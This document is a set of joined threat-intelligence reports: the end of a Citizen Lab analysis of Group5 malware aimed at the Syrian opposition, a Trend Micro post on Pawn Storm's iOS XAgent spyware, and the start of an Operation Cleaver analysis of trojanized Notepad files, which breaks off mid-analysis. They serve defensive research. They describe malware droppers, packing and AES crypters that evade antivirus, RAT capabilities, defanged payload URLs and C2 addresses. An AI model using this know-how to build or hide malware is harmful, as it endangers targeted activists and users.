The circumstantial evidence pointing to an Iranian group is unsurprising, given Irans active military engagement in Syria, and the 25/48 http://www.understandingwar.org/sites/default/files/IranianStrategyinSyria-1MAY.pdf https://www.foreignaffairs.com/articles/iran/2011-08-25/how-iran-keeps-assad-power-syria https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-behind-the-syria-conflict.pdf https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/ sympathies of many in that country for the Assad regime.
However, mindful of the limits of our investigation, we stop short of conclusive statements of attribution about the identity of the operators, or their possible sponsors.
We hope that by publishing this report and sharing indicators, our work will be helpful to other researchers who may see pieces of the puzzle that we do not.
Despite the diversity of the groups targeting the Syrian opposition, they share general features: uneven or low technical sophistication plus good social engineering and well-informed targeting.
These elements are characteristic of the majority of malware and phishing operations targeting the Syrian opposition over the past several years.
The continued targeting, and entry of new groups, reflects the continued weakness in the Syrian oppositions digital security, and more generally the risks groups face when using popular online platforms for contested political activities.
Operators targeting the Syrian opposition plainly do not need sophisticated tools, because easily available malware continues to work, when paired with good social engineering.
The technical requirement for entering the game is low, enabling unsophisticated groups to achieve successes, while permitting more advanced groups to conserve better techniques for harder targets.
The lack of a centralized communications hierarchy can make opposition groups responsive, and quick to adapt.
However, decentralization also provides many opportunities for digital exploitation.
Operators can target groups for long periods while remaining unnoticed, without fear of being spotted and blocked by a security team.
Even when exploitation attempts are noticed, because the security of these groups relies on the behavior of individuals, it can be extremely difficult to ensure that more secure behaviors are adopted.
Opposition groups and their partners face many challenges, and we appreciate the difficulty of securing behavior.
The infrastructure that we analyzed is, at time of writing, apparently abandoned.
However, we suspect that Group5, or the interests behind it, may be continuing to pursue efforts to target the opposition.
We hope to reinforce the message that continued vigilance is necessary to defend against these operations.
Click here for some suggestions about how to improve your digital hygiene.
If you believe you may have been targeted by this operation, or other Syrian malware, you are welcome to get in touch with our researchers at submitcitizenlab.ca.
Acknowledgements We thank Noura Al-Ameer for collaborating with this investigation, and for graciously agreeing to be included in this report.
The targeted nature of many cases means that, without the help of brave targets and victims, we are often left with a very limited view of what is taking place.
We are exceptionally grateful to colleagues at Citizen Lab for comments, critical feedback, and assistance with document preparation including Ron Deibert, Bill Marczak, Morgan Marquis-Boire, Sarah McKune, Masashi Nishihata, Irene Poetranto,Christine Schoellhorn, and Adam Senft.
Thanks also to Justin Kosslyn and Brandon Dixon for helpful feedback.
We would also like to thank the following teams: Lookout, PassiveTotal and RiskIQ, VirusTotal, and Ciscos AMP Threat Grid Team for data correlation.
Very special thanks to other investigators who wished to remain anonymous but provided exceptionally helpful assistance, especially TNG and Tuka.
Note: the night sky image of Syria used as background for several illustrations is from CIMSS at the University of Wisconsin Madison.
Appendix A: Windows Malware Analysis This section analyzes the malware used by Group5.
It walks through the distinct droppers, which range from malicious 26/48 https://www.johnscottrailton.com/jsrs-digital-security-low-hanging-fruit/ mailto:submitcitizenlab.ca http://cimss.ssec.wisc.edu/goes/blog/archives/14204 OLEs in a PowerPoint Slideshow file (PPSX) combined with an exploit, to executable files directly containing malware.
Dropper Doc 1 (From E-mail 1) Assadcrimes.ppsx MD5: 76F8142B4E52C671871B3DF87F10C30C This slideshow deploys its malicious payload by (ab)using the OLE object embedding capabilities of PowerPoint.4 Specifically, the malware executable is embedded into the slideshow as an OLE Object of type Package: Figure 18: Adding an OLE Package to a PowerPoint document Once embedded, the slideshow Animation feature is used to trigger the execution of the object immediately upon viewing the first slide.
In one of the malicious PPSX files, we can see the embedded package object by viewing the slides in normal view mode: 27/48 https://citizenlab.org/2016/08/group5-syria/4 Figure 19: The malicious OLE Package, visible when editing the PPSX Once activated, the embedded object is saved to disk as TEMP\putty.exe, and then executed.
This executable is a .Net downloader.
28/48 Figure 20: showing putty.exe (.Net downloader) In Figure 20 we can see that the second stage payload is obtained from the URL http://assadcrimes[.
]info/1/dvm.exe [Ref 1].
This second stage executable is saved to disk as temp\dwm.exe [Ref 2], and then executed [Ref 3].
The temp\dwm.exe file has the following hashes: MD5 SHA256 7d898530d2e77f15f5badce8d7df215e c19bc1ff5f8472fb7ba64f33c2168b42ea881a6ae6e134a1cc142e984fb6647f The malware downloaded and executed by the .Net downloader is NanoCore, a well-known RAT (Remote Access Trojan) that enables the remote monitoring of victims via their computers.
The NanoCore binary is wrapped using several layers of code obfuscation, which we describe in detail below.
Deobfuscating the Malware The malware was obfuscated first with crypting, followed by packing before being distributed.
29/48 We will unwrap these steps in reverse order below.
Unpacking The packer used on this executable employs a simple technique of base64 encoding the PE file and breaking it up into numerous lines which are then embedded into the resource section of the .Net packer stub file.
At runtime, the packer reverses this process, then invokes the resulting .Net assembly from memory.
Figure 21: Base64 strings found in the resource section of the packed executable.
Extracting this packed code reveals a .Net assembly which is yet another layer of code protection applied using a crypter.
This binary has the following hashes: MD5 SHA256 a4f1f4921bb11ff9d22fad89b19b155d d81ec563387e2ea47bc8ed50fd36e1de955cb2331d6eaae9f966b5d7ab094806 Decrypting This executable is stub code which performs in-memory AES decryption of a base64 encoded string variable.
This string variable holds an encrypted copy of the NanoCore RAT binary.
30/48 Figure 22: the AES decryption routines This encryption of the underlying malware is typically employed to bypass detection by endpoint security controls such as antivirus programs.
Many crypter tools, as they are known, are available for purchase or trade on various hacking forums.
Of particular note, this decrypting stub code retained its PDB (short for Program Database) information.
PDB file references are common in .Net applications when compiled in debug mode, and they frequently reveal the original file path of the application source code on the developers computer.
This executable revealed the following PDB file path: c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani - vds\windowsapplication2\obj\debug\launch manager.pdb This PDB string indicates that mr.tekide was the username of the developer who compiled this particular stub, and further that it was compiled as part of a Visual Studio project named paccryptnano core dehgani -vds.
In addition, a single subroutine found inside the decrypting stub was named tekide.
The relevance of this PDB string was discussed above in Part 5: Attribution.
In order to obtain the intended malware payload from this decrypting stub executable, we created a small .Net application to mimic the decryption steps and output the file to disk.
Once complete, we obtained a malicious executable with hashes: MD5 SHA256 dd5bedd915967c5efe00733cf7478cb4 a9db5a548ea17d6606bfbdb20306a3a08b38dbfe720f9f709f4d3369288be104 31/48 Original NanoCore binary Now that we have arrived at the original NanoCore binary, we can examine the configuration as specified by the operator.
In order to extract the configuration settings from this copy of NanoCore, we used Kevin Breens RATDecoders.
Using Breens tool we arrived at the following configuration: Figure 23: The NanoCore configuration, using Kevin Breens RATDecoders Notably, 88.198.222[.
]163 port 8081 is the command and control channel for this malware.
As noted in Part 1, the same IP was also present in the seeding e-mail header.
Dropper Doc 2 assadcrimes1.ppsx MD5:F1F84EA3229DCA0CCACB7381A2F49F99 This PowerPoint document leverages CVE-2014-4114, a vulnerability in the OLE packager component of the Windows operating system.
As described in previous reporting, this vulnerability causes a file embedded within the PowerPoint document to be copied to disk and executed silently on vulnerable systems.
The document under examination drops a file named dvm.gif to disk, renames it to dvm.exe and then executes it.
This dvm.exe is the same packed and crypted copy of NanoCore as retrieved and executed by the .Net downloader described in the previous section.
Dropper Doc 3 assadcrimes.info.ppsx MD5: 30BB678DB3AD0140FC33ACD9803385C3 This malicious PowerPoint document uses the same weaponization method described above with respect to Dropper Doc 1.
The executable is embedded as an OLE package object, and subsequently executed using animation actions within the PowerPoint slideshow.
32/48 https://github.com/kevthehermit/RATDecoders https://citizenlab.org/2015/06/targeted-attacks-against-tibetan-and-hong-kong-groups-exploiting-cve-2014-4114/ Figure 24: The malicious OLE Package, visible when editing the PPSX As with Dropper Doc 1, activation of the OLE Package object saves the embedded executable to disk as TEMP\putty.exe, then executes it.
This file is a .Net application employing the same layers and methods of packing and crypting as seen in the payloads delivered by Dropper Docs 1 and 2.
However, the ultimate malware payload in this case is njRat, another well-known RAT tool.
After unpacking the OLE embedded executable putty.exe, we again arrive at a decrypting stub file which will AES decrypt a base64 string variable and run it from memory.
The hashes of this file are: MD5 SHA256 6161083021b695814434450c1882f9f3 d72676bbf8de82486c3cebfdad2961cc68a6b564a43f9f987c95320fcd6a330a Similar to the case of Dropper Doc 1 above, we find a PDB entry present in the decrypting stub executable: C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb Again we can observe the same username of mr.tekide in the project source code path within the PDB string.
Further, we note the development path components paccrypt11njratmalii and paccryptalipnahzade.
To obtain the malicious njRat executable from this decrypting stub we used the same .Net program we built for use in the Dropper Doc 1 example above.
The resulting njRat binary had the following hashes: 33/48 MD5 SHA256 b4121c3a1892332402000ef0d587c0ee 1a287331e2bfb4df9cfe2dab1b77c9b5522e923e52998a2b1934ed8a8e52f3a8 Interestingly, the njRat executable appears to have been compiled from source by the same user who compiled the crypter described above.
Note the PDB strings found inside the njRat executable: C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\njrat7stubsoures Copy\njrat7stubsoures\obj\Debug\dvvm.pdb A quick look at the configuration data embedded within this njRat binary reveals the command and control IP address and port: Figure 25: The njRAT configuration, showing the C2 and port.
Decoy Dropper 4 alshohadaa alatfal.exe 34/48 MD5: 2FC276E1C06C3C78C6D7B66A141213BE This file is a .Net application designed to act as a decoy by displaying a window depicting images of dead children (see Figure: 5).
While displaying these images, the decoy application also silently extracts an executable file from the .Net assemblys resource section, copies it to TEMP\dvm.exe, and then launches a new process from this newly created file.
See Figure 26 below: Figure 26: Malware dropping code inside the Decoy application The dropper also includes a PDB reference: C:\users\enterok\desktop\slideshow\slideshow\obj\x86\debug\alshohadaa alatfal.pdb The dvm.exe file is itself a .Net executable which is packed using the same .Net packer used above in the cases of Dropper Docs 1  3.
Once unpacked, the resulting file is the same crypted .Net application analysed above from Dropper Doc 3, having MD5 hash 6161083021b695814434450c1882f9f3, and containing the njRat payload.
Malware Infrastructure Command and Control Server Each of the three distinct RAT tools used by Group5 (njRAT, NanoCore RAT, and DroidJack) were configured to communicate with a single command and control server operating on IP address 88.198.222[.
]163.
IP Reverse DNS PTR Assignee 88.198.222[.
]163 static.88-198-222-163.clients.your-server.de HETZNER-RZ-NBG-BLK4 Hetzner Online GmbH This server was the sole point of data exfiltration for each of the malware components.
As detailed above for njRAT and NanoCore, and below in Appendix B for DroidJack, the TCP ports used for command and control for each of the RAT tools were as follows: 35/48 https://citizenlab.org/2016/08/group5-syria/appendix-b Figure 27: RAT ports on the C2 server Additionally, we believe a controller for yet another remote access trojan, XpertRAT, was also hosted on this IP in November 2015 however, we did not uncover any samples designed to communicate with this XpertRAT controller.
As noted in the above table, the IP address 88.198.222[.
]163 is assigned to Hetzner Online, a Germany based web hosting provider.
Hetzner offers web hosting services as well as virtual and dedicated server rentals.
Contact was made with Hetzner technical personnel subsequent to the discovery of the malicious activity outlined in this report.
A synopsis of this contact is provided in Appendix F: Notification.
Current data available for this IP address suggests that it was likely reprovisioned to a different Hetzner customer in early February 2016 at the latest, and then possibly again in May.
A series of domain names associated with online multi-player games were directed to this Hetzner IP, one of which was apparently hosting a malicious HTML document.
Assadcrimes Web Hosting The assadcrimes[.
]info domain name was registered in June 2015, but it remained parked until early October, at which time it was migrated to an Iran-based shared web hosting provider named Hostnegar.
This action coincided with the delivery of the initial e-mails outlined in Part 1.
The assadcrimes[.
]info website was hosted on a shared hosting platform, and as such the IP address associated was also shared by a significant number of other, unrelated, websites.
IP Reverse DNS PTR 212.7.195[.
]171 server22.rayanegarco[.
]com Headers from the initial e-mail are shown below in Figure 28.
These headers indicate that the initial e-mail was most likely sent using the Horde webmail application running on the web hosting server.
Furthermore, the headers indicate that the sender was accessing the webmail application from the IP address of the command and control server discussed above.
36/48 https://citizenlab.org/2016/08/group5-syria/appendix-f https://www.virustotal.com/en/file/dd55d13621a905d0f4c4dfe84c4d2b68769debe7a79cf1ce514940306da47c25/analysis/ Figure 28: Headers from the initial e-mail Finally, available domain name service data indicates that the assadcrimes[.
]info domain name was moved back to its original parked location on May 4, 2016.
Appendix B: Android Malware Analysis The Malicious APK  Overall Description 37/48 Figure 29: The malicious application is installed, and appears in the Apps tab (left), while hidden from the Apps list from the Drawer (right) Upon execution, the malware is installed and then hidden from the list of installed applications in order to remain covert.
38/48 Figure 30 : The malicious app gives an error App isnt installed when the user tries to open the malware before it disappears from the list.
After the installation, the Application icon will be removed from the installed applications list, yet it will still be running in the background.
The APK package in question had the following characteristics: Adobe_Flash_Player.apk MD5: 8EBEB3F91CDA8E985A9C61BEB8CDDE9D This APK is an instance of DroidJack.
According to Symantec, this application evolved from an older codebase known as SandroRAT.
The discovered APK sample also contains references to both names, as shown in Figure 31 below: Figure 31: References to both DroidJack and SandroRat as seen in the source code The APK Manifest file reveals important information about the samples capabilities and the intentions of its operator.
The Android operating system requires information from the Manifest file before the application can execute.
This application will request the following permissions and use the following features from the device: Figure 32: screenshot from Manifest file with the requested permissions for the APK In the Android system, Activities are components typically used to let the user of the device perform an action.
The Main Activity is also defined in the Manifest, pictured in Figure 33.
Figure 33: Main activity defined in the manifest In this case, the Main Activity is designed to start the Controller as a Service and finish.
The controller will be discussed in more detail in the next section.
Android applications can also have Services and Receivers defined.
Services are used for background operations while Receivers define the types of broadcast messages the application can receive from other applications as well as the device.
These messages are known as Intents.
This APK sample enables several services including Controller, GPSLocation and Toaster (See Figure 34).
39/48 http://www.symantec.com/connect/blogs/droidjack-rat-tale-how-budding-entrepreneurism-can-turn-cybercrime Figure 34: Services enabled by the APK The Controller class, referred to by the Main Activity and started as a service on the device, handles the malware operators interaction with the application while the GPSLocation class is responsible for obtaining the GPS position from the devices LocationManager.
The Toaster class is not implemented in this APK however, it is implemented in older SandroRAT samples.
The APK file has several Receiver classes defined to handle specific messages from the device (See Figure 35).
40/48 Figure 35: Defined receiver classes Receiver Intent Usage Connectivity Change Allows the application to monitor any connectivity changes, including moving between mobile data and Wi-Fi.
The constant value is set every time a change occurs.
Boot Completed Allows the application to re-connect when the device restarts.
The constant value is broadcast when the device finishes booting.
Phone State Allows the application to monitor incoming calls.
The constant value is set when the call state is changed.
The Connector Receiver simply starts the Controller Service when the phone boots allowing the malware to run in the background upon start up.
The CallListener Receiver allows the operator to log when the target makes calls, and record calls (if the operator has enabled it) as an .amr file that can then be sent to the command and control server.
Lastly, in the Manifest file, the Application enables two additional Activities, CAMSNAP and VIDEOCAP, as shown in Figure 36.
Figure 36: Activities enabling camera and video capture These allow the operator to use the infected devices camera to take pictures and record video.
This activity is hidden from the victim using a translucent theme.
The Malicious APK The Controller As previously mentioned, the Controller class is ultimately responsible for the rest of the functionality.
The instance we analyzed was configured to use the same host as the Windows malware for command and control communication: 88.198.222[.
]163.
41/48 Figure 37: DroidJack configuration showing that it shares a host with the other Group5 malware We were able to install a test instance to learn how the malwares operator could surveil victims.
It is clear that the operator would have nearly full access to the victims information.
Features offered include: File browsing SMS and call logging Contacts Browser history Application Manager Location history WhatsApp Reader (only works on rooted devices) Remote camera and microphone Figure 38: DroidJack browsing WhatsApp logs for an infected device.
Some features will only work on rooted devices.
For example, the ability to read WhatsApp messages requires the victims device to be rooted.
Android apps are unable to access the data from other applications unless they are signed with the same certificate or if the app has been given permission to execute commands as root.
If DroidJack is able to acquire root access it can then upload the database on the device where WhatsApp stores its message history.
42/48 Appendix C: Mr. Tekide This appendix provides more context on Mr. Tekide, first delving into how we have identified his crypter (PAC Crypt) in strings in the binaries, and second highlighting the results of open source searching for his aliases and related strings.
Sample Correlation With PDB Strings In the Group5 malware samples, we have several PDB file references that suggest that the crypter used with the two distinct RAT tools (njRat and NanoCore) was Mr. Tekides PAC Crypt.
For the njRat sample from Dropper Doc 3, we can see the malware stub was compiled by mr.tekide as well.
Reference: Doc Dropper 1 Crypter MD5: a4f1f4921bb11ff9d22fad89b19b155d Compile Time: 9/30/2015 00:02:51 c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani - vds\windowsapplication2\obj\debug\launch manager.pdb Reference: Doc Dropper 3 Crypter MD5:6161083021b695814434450c1882f9f3 Compile Time: 10/6/2015 02:13:45 C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb Reference: Doc Dropper 3 njRat Payload MD5:b4121c3a1892332402000ef0d587c0ee Compile Time: 10/6/2015 01:23:31 C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\njrat7stubsoures Copy\njrat7stubsoures\obj\Debug\dvvm.pdb The Visual Studio project folders listed above suggest the particular version of PAC Crypt compiled by Mr. Tekide was being prepared in one case for an njRat payload, and another for a NanoCore payload.
The strings dehgani vds, malii and alipnahzade may have additional significance or relevance.
We conducted searches across online malware repositories and analysis services (such as VirusTotal, Malwr, and TotalHash) in an effort to acquire additional data relating to the use of PAC Crypt.
These searches revealed very little in relation to PAC Crypt specifically, so we instead examined the data for instances of tekide related strings found in PDB files.
It is our hope that the data or avenue of investigation presented below may be of value to other researchers.
The results we examined contained over 200 samples which we then clustered into sets based on compile time and PDB reference as shown in the table below: 43/48 The following compile time / PDB references were also observed in singular instances: Keeping in mind the limitations of reliance on compile times, we nevertheless were able to compare the noted compile times against the first time samples appeared in common malware repositories such as VirusTotal, Malwr, and TotalHash.
44/48 In most instances, samples began to appear in malware repositories within hours of the files being compiled.
Dynamic analysis of the samples in these sets revealed multiple different payloads and C2 configurations.
For example, analysis of the samples in Set A yielded the following payloads and configurations: Finally, analysis of the compile times observed across the acquired samples suggest a period of activity falling in the latter half of 2014.
There are many possible explanations as to why so few samples were observed with compile times beyond 2014: conscious removal of PDB information, a change in personal circumstances, or possibly even a shift to less public malware development activities.
Mr. Tekide on the Internet Mr. Tekide maintains a visible profile across various malware related web forums, as well as on social media.
Searches conducted for this alias provided numerous results which reveal a consistent use of the Mr. Tekide name and avatar, as shown in the images below.
45/48 Figure 39: Mr. Tekide showcasing his ashiyane crypter v.7 on the Ashiyane forums 46/48 Figure 40: Mr.Tekides administrator profile on the crypter[.
]ir forums Figure 41: PAC Crypt page on the crypter[.
]ir online shop A link found on the Contact page of the crypter[.
]ir website led to a Facebook profile in the name of Pezhman Blackhat.
In addition to this Facebook profile, we also identified a LinkedIn profile in which he refers to himself as a crypter, and states that he works for the ashiyane digital security team.
He also maintains an Instagram profile.
Appendix D: File Hashes Full Table of Binaries File MD5 VirusTotal (26- Jul-2016) First Sub.
on VT Dropper Doc 1 assadcrimes.ppsx 76F8142B4E52C671871B3DF87F10C30C N/A N/A putty.exe [stage1 downloader] 366908F6C5C4F4329478D60586ECA5BC N/A N/A dvm.exe [stage 2 payload] 7D898530D2E77F15F5BADCE8D7DF215E N/A N/A Unpacked dvm.exe A4F1F4921BB11FF9D22FAD89B19B155D N/A N/A NanoCore RAT payload DD5BEDD915967C5EFE00733CF7478CB4 N/A N/A Dropper Doc 2 47/48 https://www.facebook.com/tekide https://ir.linkedin.com/in/pezhman-tekide-a87054bb https://www.instagram.com/tekide/ assadcrimes1.ppsx F1F84EA3229DCA0CCACB7381A2F49F99 N/A N/A dvm.exe 7D898530D2E77F15F5BADCE8D7DF215E N/A N/A Dropper Doc 3 assadcrimes.info.ppsx 30BB678DB3AD0140FC33ACD9803385C3 N/A N/A putty.exe 5C4EC3D93A664E4BFA1CE6286CCF0249 N/A N/A Unpacked putty.exe 6161083021B695814434450C1882F9F3 N/A N/A njRAT payload B4121C3A1892332402000EF0D587C0EE N/A N/A Decoy Dropper 4 alshohadaa alatfal.exe [decoy app] 2FC276E1C06C3C78C6D7B66A141213BE N/A N/A dvm.exe [dropped by decoy app] 494BAB7FD0B42B0B14051ED9ABBD651F 14 / 55 2-Mar-2016 Unpacked dvm.exe 6161083021B695814434450C1882F9F3 N/A N/A njRAT payload B4121C3A1892332402000EF0D587C0EE N/A N/A Android Malicious APK (DroidJack) adobe_flash_player.apk 8EBEB3F91CDA8E985A9C61BEB8CDDE9D 23 / 53 5-Jul-2016 File MD5 VirusTotal (26- Jul-2016) First Sub.
on VT These hashes are also available via the Citizen Lab Github.
Appendix E: Email Information Date Sender subject IP Binary attached 03 Oct 2015 06:05:41 - 0700 (PDT) officeassadcrimes.info  88.198.222.163 assadcrimes.ppsx 04 Oct 2015 05:47:00 - 0700 (PDT) officeassadcrimes.info Re:  RoundCube (212.7.195.171) assadcrimes1.ppsx Appendix F: Notification On April 12, 2016 we contacted Hetzner via e-mail as well as their abuse form, and informed them that the server was being used to host malware.
We also provided network logs as well as a malware sample.
We subsequently followed up with two phone calls.
On a telephone call, a Hetzner representative refused to investigate, stating that they would take no investigative action before sharing the content of our complaint with the customer, who would then have 24 hours to take action.
When we suggested that this might result in the deletion of evidence, and highlighted the special nature of the case, the representative refused any further action.
Footnotes1 Noura has given her permission for us to disclose her role in this case, and use her photograph.
2 Mozilla/5.0 (Windows NT 6.3 rv:39.0) Gecko/20100101 Firefox/39.0 3 http://ashiyane[.
]org/forums 4 This technique has been documented previously.
48/48 https://github.com/citizenlab/malware-signatures/blob/master/Group5/hashes http://phishme.com/powerpoint-and-custom-actions/ Group5: Syria and the Iranian Connection By John Scott-Railton, Bahr Abdulrazzak, Adam Hulcoop, Matt Brooks,  Katie Kleemola Executive Summary Background: The Perpetual Targeting of the Syrian Opposition Regime-Linked Groups Pro-Regime Groups Outside Syria ISIS-Linked Groups Many Groups, Similar Tactics Part 1: Discovering Group5 E-mail 1: The Initial Message (Dropper Doc 1) Communication with the Operator E-mail 2: The OperatorReplies (Dropper Doc 2) Bait Content: Syria and Iran-Themed PowerPoint Slideshows Part 2: The Assadcrimes Website Malware Seeding on the Website (Dropper Doc 3) Martyred Children (Decoy Dropper 4) Android Malware Part 3: Windows Malware Malicious PowerPoint The RATs Antivirus Detection Part 4: The Android Malware Part 5: Attribution Unprotected Logs Identifying the Operator from Website Logs A Persian-language Mailer Links to Known Threat Actors PAC Crypt Mr. Tekide A Consistent Iranian Nexus Part 6: Analysis of Competing Hypotheses Hypothesis 1: Iranian Group Newly Active in Syria Hypothesis 2: Known Regime-Linked Group Hypothesis 3: Other Unknown Group Evaluating Hypotheses Conclusion Acknowledgements Appendix A: Windows Malware Analysis Dropper Doc 1 (From E-mail 1) Deobfuscating the Malware Unpacking Decrypting Original NanoCore binary Dropper Doc 2 Dropper Doc 3 Decoy Dropper 4 Malware Infrastructure Command and Control Server Assadcrimes Web Hosting Appendix B: Android Malware Analysis The Malicious APK  Overall Description The Malicious APK  The Controller Appendix C: Mr. Tekide Sample Correlation With PDB Strings Mr. Tekide on the Internet Appendix D: File Hashes Full Table of Binaries Appendix E: Email Information Appendix F: Notification
Pawn Storm Update: iOS Espionage App Found In our continued research on Operation Pawn Storm, we found one interesting poisoned pawnspyware specifically designed for espionage on iOS devices.
While spyware targeting Apple users is highly notable by itself, this particular spyware is also involved in a targeted attack.
Background of Operation Pawn Storm Operation Pawn Storm is an active economic and political cyber-espionage operation that targets a wide range of entities, like the military, governments, defense industries, and the media.
The actors of Pawn Storm tend to first move a lot of pawns in the hopes they come close to their actual, high profile targets.
When they finally successfully infect a high profile target, they might decide to move their next pawn forward: advanced espionage malware.
The iOS malware we found is among those advanced malware.
We believe the iOS malware gets installed on already compromised systems, and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows systems.
We found two malicious iOS applications in Operation Pawn Storm.
One is called XAgent (detected as IOS_XAGENT.A) and the other one uses the name of a legitimate iOS game, MadCap (detected as IOS_ XAGENT.B).
After analysis, we concluded that both are applications related to SEDNIT.
The obvious goal of the SEDNIT-related spyware is to steal personal data, record audio, make screenshots, and send them to a remote command-and-control (CC) server.
As of this publishing, the CC server contacted by the iOS malware is live.
Analysis of XAgent The XAgent app is fully functional malware.
After being installed on iOS 7, the apps icon is hidden and it runs in the background immediately.
When we try to terminate it by killing the process, it will restart almost immediately.
Installing the malware into an iOS 8 device yields different results.
The icon is not hidden and it also cannot restart automatically.
This suggests that the malware was designed prior to the release of iOS 8 last September 2014.
Data Theft Capabilities The app is designed to collect all kind of information on an iOS device.
It is able to perform the following routines: http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit Collect text messages Get contact lists Get pictures Collect geo-location data Start voice recording Get a list of installed apps Get a list of processes Get the Wi-Fi status Figure 1.
XAgent code structure CC Communication Besides collecting information from the iOS device, the app sends the information out via HTTP.
It uses POST request to send messages, and GET request to receive commands.
Formatted Log Messages The malwares log messages are written in HTML and color coded, making it easier for human operators to read.
Error messages tend to be in red, while others are in green as shown in the figure below.
Figure 2.
Color-coded HTML log messages A Well-Designed Code Structure We can see that the code structure of the malware is very organized.
The malware looks carefully maintained and consistently updated.
Figure 3.
XAgent code structure The app uses the commands watch, search, find, results, open, and close.
Figure 4.
List of base URIs Randomly Generated URI The full uniform resource identifier (URI) for CC HTTP requests is randomly generated, according to a template agreed upon with the CC server.
The base URI can be seen in Figure 4, and parameters are chosen from the list below and appended to the base URI.
Figure 5.
List of parameters used with URIs Here are corresponding implementations we got during our reversing: Figures 6 and 7.
Code for URI generation Token Format and Encoding The malware uses a token to identify which module is communicating.
The token is Base64 encoded data, but padded with a 5-byte random prefix so that it looks like valid Base64 data.
See the first line ai part in the figure below.
Figure 8.
Client (XAgent) request Reverse engineering also revealed additional communication functions.
Figure 9.
HTTP communication functions Figure 10.
C2 server FTP Communication The app is also able to upload files via FTP protocol.
Figure 11.
FTP communication functions Analysis of MadCap Madcap is similar to the XAgent malware, but the former is focused on recording audio.
Madcap can only be installed on jailbroken devices.
Figure 12.
Code structure of Madcap Possible Infection Methods The exact methods of installing these malware is unknown.
However, we do know that the iOS device doesnt have to be jailbroken per se.
We have seen one instance wherein a lure involving XAgent simply says Tap Here to Install the Application.
The app uses Apples ad hoc provisioning, which is a standard distribution method of Apple for iOS App developers.
Through ad hoc provisioning, the malware can be installed simply by clicking on a link, such as in the picture below.
The link will lead to https://www.
BLOCKED/adhoc/XAgent.plist, a service that installs applications wirelessly.
Figure 13.
Site used in downloading XAgent There may be other methods of infection that are used to install this particular malware.
One possible scenario is infecting an iPhone after connecting it to a compromised or infected Windows laptop via a USB cable.
To learn more about this campaign, you may refer to our report, Operation Pawn Storm Using Decoys to Evade Detection.
The hashes of the related files are: 05298a48e4ca6d9778b32259c8ae74527be33815 176e92e7cfc0e57be83e901c36ba17b255ba0b1b 30e4decd68808cb607c2aba4aa69fb5fdb598c64 Special thanks to Loucif Kharouni and Fernando Merces for additional insights.
http://blog.trendmicro.com/trendlabs-security-intelligence/the-other-side-of-masque-attacks-data-encryption-not-found-in-ios-apps/ http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit
Operation Cleaver: The Notepad Files You see some strange stuff out there on the networks where attackers are active.
Certainly the stash of files unearthed during the Operation Cleaver investigation included much of the bizarre and something of the terrible.
Brian Wallace, who led the investigation, shared a mysterious set of samples with me awhile back, and now that Operation Cleaver is public, Ill relate the lurid technical details.
The Notepad Files The files in question were found in a dim and dusty directory on a forlorn FTP server in the US, commingled with the detritus of past attack campaigns and successful compromises.
They were at once familiar and strange, and they were made still stranger and more perplexing by their location and the circumstances of their discovery.
All around them was a clutter of credential dumps, hacking utilities, RATs, and even legitimate software installers, but the files in question were none of these.
They were Notepad.
Figure 1.
The Notepad Doppelgngers.
Of course, a purloined Notepad icon in malware is nothing new, but something different was going on here.
Within each of the two families, all of the samples had the same main icon, file size, and version information, yet each one had a distinct hash.
At the time, only one of those five hashes existed on the internet: the official 32-bit Simplified Chinese Notepad from Windows XP x64 / Windows Server 2003.
Suspecting that the remaining Notepads were derivatives of official Windows files, we associated the other member of the first family with the confirmed legitimate Notepad, and we matched the second family with the 32-bit US English Notepad from Windows 7 (not present in the original set).
MD5 File Name File Size File Version 83868cdff62829fe3b897e2720204679 notepad.exe 66,048 5.2.3790.3959, Chinese (Simplified, PRC) bfc59f1f442686af73704eff6c0226f0 NOTEPAD2.EXE 179,712 6.1.7600.16385, English (United States) e8ea10d5cde2e8661e9512fb684c4c98 Notepad3.exe 179,712 6.1.7600.16385, English (United States) baa76a571329cdc4d7e98c398d80450c Notepad4.exe 66,048 5.2.3790.3959, Chinese (Simplified, PRC) 19d9b37d3acf3468887a4d41bf70e9aa notepad10.exe 179,712 6.1.7600.16385, English (United States d378bffb70923139d6a4f546864aa61c  -- 179,712 6.1.7600.16385, English (United States) Table 1.
A summary of Notepad samples dug from the attackers FTP drop, with the official Windows 7 Notepad appearing at bottom.
It and the official Windows XP/2003 Notepad are represented in green.
Things got interesting when we started comparing the Notepads at the byte level.
The image below depicts some byte differences between the original Windows 7 Notepad and samples NOTEPAD2.EXE and Notepad3.exe: Figure 2.
Comparison of the Windows 7 Notepad (green channel), NOTEPAD2.EXE (red channel), and Notepad3.exe (blue channel).
At the Portable Executable (PE) level, these differences translate to changes in the files timestamps (IMAGE_NT_HEADERS.FileHeader.
TimeDateStamp, offset 0xE8 in the figure above), the relative virtual addresses (RVAs) of their entry points (IMAGE_NT_HEADERS.OptionalHeader.
AddressOfEntryPoint, offset 0x108), and their checksums (IMAGE_NT_HEADERS.OptionalHeader.
CheckSum, offset 0x138).
The timestamps were rolled back by weeks to months relative to the legitimate progenitors timestamps we dont know why.
The entry points retreated or advanced by hundreds of bytes to dozens of kilobytes, for reasons well explore shortly.
And the checksums were all zeroed out, presumably because the file modifications invalidate them, invalid non-zero checksums are a tip-off, and zeroing is easier than recomputing.
So whats the story with all those other modifications?
In all cases they seem to be confined to the .text section, centrally located to avoid the import directory, debug directory, load configuration directory, and import address table.
This makes sense as a general precaution, considering that corrupting the import directory would unhelpfully crash the Windows loader during process initialization.
The following image illustrates the distribution of modifications relative to these structures.
Figure 3.
File locations of modifications (red) and the PE structures they avoid (gray).
From left to right, the four vertical bars represent the .text sections of NOTEPAD2.EXE, Notepad3.exe, Notepad4.exe, and notepad10.exe, as compared to the original Notepad from their respective families.
